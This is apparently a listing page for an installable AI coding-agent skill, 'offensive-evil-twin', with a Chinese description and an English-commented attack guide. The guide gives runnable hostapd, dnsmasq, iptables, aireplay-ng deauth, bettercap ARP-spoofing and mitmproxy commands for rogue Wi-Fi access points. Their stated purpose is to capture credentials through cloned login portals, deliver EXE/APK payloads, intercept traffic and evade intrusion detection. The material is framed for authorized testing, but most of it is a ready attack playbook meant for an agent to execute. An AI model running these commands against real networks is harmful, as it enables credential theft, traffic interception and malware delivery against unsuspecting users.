mcpField
O
offensive-evil-twin

offensive-evil-twin

github.com/snailsploit安全9.7k177 次安装2 周前更新
代码仓库

关于 offensive-evil-twin

面向无线安全测试人员的 Evil Twin、KARMA 和 Mana 攻击指南,介绍伪装接入点、门户捕获及关联后的流量测试。

主要功能

  1. 01按目标 ESSID 部署伪装接入点
  2. 02使用 KARMA 或 Mana 响应探测请求
  3. 03配置门户以捕获凭据或投递载荷
  4. 04测试关联后的中间人流量

适用场景

  1. 01评估公共或访客 Wi-Fi 的客户端风险
  2. 02在授权演练中测试凭据门户
  3. 03检查设备对探测请求和伪装接入点的响应

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-evil-twin

安装后在 Claude Code 中输入/offensive-evil-twin确认已加载。

详细介绍

Evil Twin / KARMA / Mana

搭建一个外观与合法目标相同(或更具吸引力)的 AP。客户端连接后,你就会成为它们的网关,并拦截所有流量。这是经典的“机场 captive portal”攻击模式,可根据任务需求调整规模。

快速工作流

  1. 查明客户端正在查找的目标 ESSID(PNL — 首选网络列表)
  2. 搭建广播匹配 ESSID 的 Rogue AP
  3. (可选)对客户端发送解除认证帧,使其离开合法 AP 并转向你的 AP
  4. 运行 captive portal / 透明 MITM
  5. 捕获凭据、投递载荷或窃取会话

变体

变体原理使用场景
Evil Twin使用与合法 AP 相同的 ESSID + BSSID开放网络或已知 PSK 的网络(ISP 咖啡馆 Wi-Fi、公共访客网络)
KARMA对每个探测请求都回应“是”PNL 范围较广的客户端(大多数较旧设备)
Mana根据每个客户端的探测情况选择性回应防御能识别 KARMA 的 MAC 随机化
已知信标广播一组可能已知的 ESSID无需先捕获探测请求即可广撒网吸引设备
Captive Portal客户端连接后强制显示启动页网络钓鱼、载荷投递

开放网络 / 已知 PSK 的 Evil Twin

在你知道(或已破解)PSK 时使用。

# wifiphisher — opinionated automation including portal templates
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd

# airgeddon (interactive menu, good for one-off)
sudo airgeddon
# → Evil Twin attacks menu → Captive Portal

# Manual: hostapd + dnsmasq + iptables redirect
cat > /tmp/hostapd.conf <<EOF
interface=wlan0
driver=nl80211
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=1
wpa=2
wpa_passphrase=KnownPSK
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF
sudo hostapd /tmp/hostapd.conf &

# DHCP/DNS via dnsmasq
cat > /tmp/dnsmasq.conf <<EOF
interface=wlan0
dhcp-range=10.10.10.10,10.10.10.50,12h
dhcp-option=3,10.10.10.1
dhcp-option=6,10.10.10.1
address=/#/10.10.10.1   # wildcard DNS to attacker
EOF
sudo dnsmasq -C /tmp/dnsmasq.conf -d

KARMA — 通用探测响应

# hostapd-mana with KARMA mode enabled (mana_mode=1)
cat > /tmp/karma.conf <<EOF
interface=wlan0
ssid=KARMA
hw_mode=g
channel=6
mana_loud=1
mana_macacl=0
EOF
sudo hostapd-mana /tmp/karma.conf

启用 MAC 随机化的现代客户端会使用随机 MAC 和随机化的 PNL 发送探测请求——KARMA 的通用肯定响应现在会对客户端实际上不会连接的探测请求触发。使用 Mana 可获得更好的选择性。

Mana — 按客户端选择性响应

# hostapd-mana (default mode is mana, not loud)
cat > /tmp/mana.conf <<EOF
interface=wlan0
ssid=Free-WiFi
hw_mode=g
channel=6
mana_mode=1
mana_macacl=0
mana_outfile=/tmp/mana.log
EOF
sudo hostapd-mana /tmp/mana.conf

Mana 会跟踪 MAC → ESSID 探测列表。当该 MAC 连接时,Mana 会从它观察到的探测列表中挑选一个逼真的 ESSID,并始终如一地响应。可绕过能识别 KARMA 的客户端侧缓解措施。

已知信标攻击

# eaphammer can broadcast a list of likely-known ESSIDs as actual beacons
eaphammer --essid-file likely_essids.txt --hostile-portal
# likely_essids.txt: airport, cafe, hotel, office defaults from open intel

对于 PNL 中包含这些名称的设备,信标可吸引其主动连接。当你无法看到探测请求时很有用(现代设备广播的探测请求比以前少)。

强制解除连接

将现有客户端从合法 AP 上赶走,使其转向你的 Evil Twin:

# On a different interface (or after stopping airbase-ng)
sudo aireplay-ng --deauth 10 -a <legitimate-BSSID> wlan0_mon2

如果你的 AP 信号更强(位置更近)或 TX 功率更高,客户端重新连接时就会漫游到你的 AP。

**检测方面的权衡:**广播解除认证帧很显眼;针对单个客户端发送解除认证帧则更隐蔽。PMF(802.11w)会阻止未加密的解除认证帧——参见 offensive-deauth-disassoc。

Captive Portal / 凭据捕获

# Portal options in eaphammer / wifiphisher / airgeddon include:
# - Generic OAuth-style (Google/MS/Facebook clones)
# - Vendor router login pages (matched to nearby AP brand)
# - Corporate-themed portal harvesting AD creds
# - Update-required prompts delivering EXE/APK payloads

# Custom: simple Flask+iptables setup
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080
iptables -t nat -A POSTROUTING -j MASQUERADE
python3 -m flask run --host=10.10.10.1 --port=8080

如需高保真 portal,请精确仿制合法 captive portal 的 HTML/CSS。大多数用户只是扫一眼,不会仔细查看 URL。

关联后的 MITM

客户端连接并将你设为网关后:

# Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)
mitmproxy --mode transparent --showhost --ssl-insecure

# Bettercap full pipeline (sniff, ARP, DNS, JS injection)
sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"

如果没有安装 portal 级 CA,现代 HTTPS / HSTS / 证书固定会阻止大多数 TLS 拦截。可用的目标包括:

  • captive portal 的明文流量
  • 证书固定机制有缺陷的应用(针对该应用运行 offensive-mobile 技能)
  • 仍在使用的纯 HTTP 服务(旧式 IoT、旧版管理面板)
  • DNS 劫持(针对未固定的服务返回攻击者 IP)

绕过 MAC 随机化

iOS、较新版本的 Android 和 Windows 11 会按网络随机化 MAC。它们仍会泄露以下每个网络的稳定标识:

  • 每个 SSID 的 MAC 一致性(同一 SSID 随时间使用相同 MAC)
  • 探测序列号
  • 802.11 IE 顺序(制造商指纹)
# Cluster probes to track devices across MACs
hcxdumptool -i wlan0mon --enable_status=15 --rds=2
# Analyze with hcxhash2cap / wifite-style fingerprinting

检测注意事项

防御方信号攻击者的缓解方式
Rogue AP 检测(BSSID 不在 WIPS 允许列表中)精确匹配真实 BSSID + 隐藏自有 AP 的广播
KARMA 模式(单个 AP 回应多个 ESSID)使用 Mana 模式
RSSI 差异(你的 AP 比合法 AP 更近)在远处运行,降低 TX 功率
信标时间与真实 AP 不一致匹配信标间隔、IE 顺序
Captive portal HTML 与真实 portal 不同精确仿制,每周更新

现代企业级 WIPS 几乎会立即标记 KARMA。Mana + 匹配 BSSID 更难被检测,除非防御方主动解除隐藏。

任务速查表

# 1. Recon — passive observe target ESSIDs and clients (no probes from you)
sudo airodump-ng wlan0mon -w probes

# 2. Pick mode based on environment
#    - PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth
#    - Open networks (cafe, airport): straight evil twin or KARMA
#    - Heterogeneous device population: Mana

# 3. Stand up rogue AP
sudo hostapd-mana /tmp/mana.conf
sudo dnsmasq -C /tmp/dnsmasq.conf

# 4. Captive portal / payload delivery / MITM
mitmproxy --mode transparent --showhost --ssl-insecure

# 5. Coerce specific clients if needed (deauth on legit AP)

# 6. Document captures, sessions, and time-on-target

关键参考资料

评论

支持 Markdown